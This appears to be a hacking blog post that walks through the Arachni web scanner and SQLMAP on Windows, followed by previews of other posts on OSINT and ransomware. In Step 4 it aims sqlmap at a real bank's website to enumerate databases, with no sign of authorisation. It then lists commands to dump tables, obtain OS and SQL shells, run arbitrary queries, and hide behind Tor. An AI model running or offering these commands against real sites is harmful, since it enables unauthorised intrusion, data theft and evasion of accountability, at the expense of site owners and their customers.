SQLMAP With Arachni Scanner

Requirements:

OS: Windows 10
Compiler : Python 3.x
Script : SQLMAP
Scanner: Arachni Scanner

Step 1:- Download And Install "Arachni Scanner".
    https://www.arachni-scanner.com/download/

 


Step 2:- Open The Browser And Navigate To    "https://localhost:9292/users/sign_in/"

 


To Start A "New Scan", Click " +New " Icon.

 

 

Click On Go For "Scanning".


Here The "Scanning Starts".


 

Scan "Completed" And To "Download Report", Choose The Format And "Click Ok".



Step 3:- Open "Web Browser" And "Check One Time Again".


 

 

 

 

Step 4:- Follow My Previous Post On "SQL MAP" To Find A Target Navigate To The SQL MAP Folder In "Power Shell".
Execute The "Following Commands".

    python .\sqlmap.py -u "https://www.fcibank.com.pk/index.php?route=common/page&pageid=%7B0219F2C-951C-B9F7-D1B6-805BA07752DB57D" –dbs


 

 

Step 5:- Follow The Same Steps As In My Previous Post On SQL MAP To Find "Database Names", "Table Names" And "Dump The Tables". Just Add The Following Option In It:-


SQL MAP OPTIONS


# It Will Check The Web Side Have Sql Error Or Not.
    Simply Put (“, ’, -).

# Enumerate Databases.
    sqlmap --dbms=mysql -u "$URL" --dbs

# Enumerate Tables.
    sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables

# Dump Table Data.
    sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump

# Specify Parameter To Exploit.
    sqlmap --dbms=mysql -u "http://www.example.com/param1=value1&param2=value2" --dbs -p param2

# Specify Parameter To Exploit In 'Nice' URIs.
    sqlmap --dbms=mysql -u "http://www.example.com/param1/value1*/param2/value2" --dbs # exploits param1

# Get OS Shell.
    sqlmap --dbms=mysql -u "$URL" --os-shell
  
# Get SQL Shell.
    sqlmap --dbms=mysql -u "$URL" --sql-shell
    
# SQL Query.
    sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT * FROM $TABLE;"

# Use Tor Socks5 Proxy.
    sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "$URL" --dbs

Comments

Post a Comment

Popular posts from this blog

OSINT Tool in Termux

Image
The Instagram OSINT Tool gets a range of information from an Instagram account that you normally wouldn't be able to get from just looking at their profile The information includes: [ profile ] : user id, followers / following, number of uploads, profile img URL, business enum, external URL, joined Recently, etc [ tags & mentions ] : most used hashtags and mentioned accounts [ email ] : if any email is used any where it'll be displayed [ posts ] : accessability caption, location, timestamp, caption, picture url, etc ( yet not working correctly with posts instagram marks as 'sensitive cotent' ) How To Install apt update && upgrade -y Pkg install git pkg install python3 git clone https://github.com/th3unkn0n/osi.ig.git && cd osi.ig python3 -m pip install -r requirements.txt Usage python3 main.py -u username
Read more

Active Directory Ransomware Attacks

Image
    Organizations worldwide use Active Directory (AD) as their primary identity service , which makes it a top target for ransomware attacks . This article explains how adversaries exploit Active Directory during ransomware attacks and provides strategies and tools for defending against this modern menace. The two phases of a ransomware attack A common misconception about ransomware attacks is that they are quick: Someone opens an infected email attachment or inserts an infected USB device , and within minutes data across the network is encrypted and a ransom demand is displayed on every screen . The reality is quite different. Ransomware attacks today tend to be quite sophisticated and methodical . To encrypt as much sensitive information as possible and therefore maximize the chances of receiving a high payout , attackers proceed in two phases: Find an entry point — The first step is to gain a foothold in the victim organization ’s network . One common strategy is to comp...
Read more

Colt Telecom Hit by WarLock Ransomware: SharePoint Zero Day Used for Mass Data Theft

Image
  What Happened On August 12, 2025 , Colt Technology Services—a UK-based telecom giant—experienced a cyberattack that disrupted several internal support services, impacting systems like Colt Online, porting, and Voice API platforms, while core network services remained unaffected. Who Claimed Responsibility A threat actor using the handle "cnkjasdfgd," claiming to represent the WarLock ransomware group , offered 1 million stolen documents for US$200,000 , providing sample files to prove their legitimacy. Made Possible By The attackers exploited a critical zero-day vulnerability in on-premises Microsoft SharePoint (CVE‑2025‑53770), which was publicly patched on July 21, 2025. Technical Breakdown (“ToolShell” Exploit Chain) Attackers used a sophisticated exploit chain now dubbed ToolShell , involving multiple steps: 1. Initial Access – Bypassing Authentication A crafted HTTP POST to the /_layouts/15/ToolPane.aspx endpoint with a spoofed Referer header (/_layo...
Read more